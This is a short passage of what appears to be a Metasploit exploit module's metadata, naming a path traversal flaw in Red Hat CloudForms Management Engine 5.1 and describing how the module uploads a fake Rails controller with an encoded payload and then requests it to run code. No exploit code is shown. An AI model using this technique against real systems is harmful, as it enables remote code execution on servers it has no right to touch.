'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in the "linuxpkgs"
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
It uploads a fake controller to the controllers directory of the Rails
application with the encoded payload as an action and sends a request to
this action to execute the payload. Optionally, it can also upload a routing
file containing a route to the action. (Which is not necessary, since the
application already contains a general default route.)
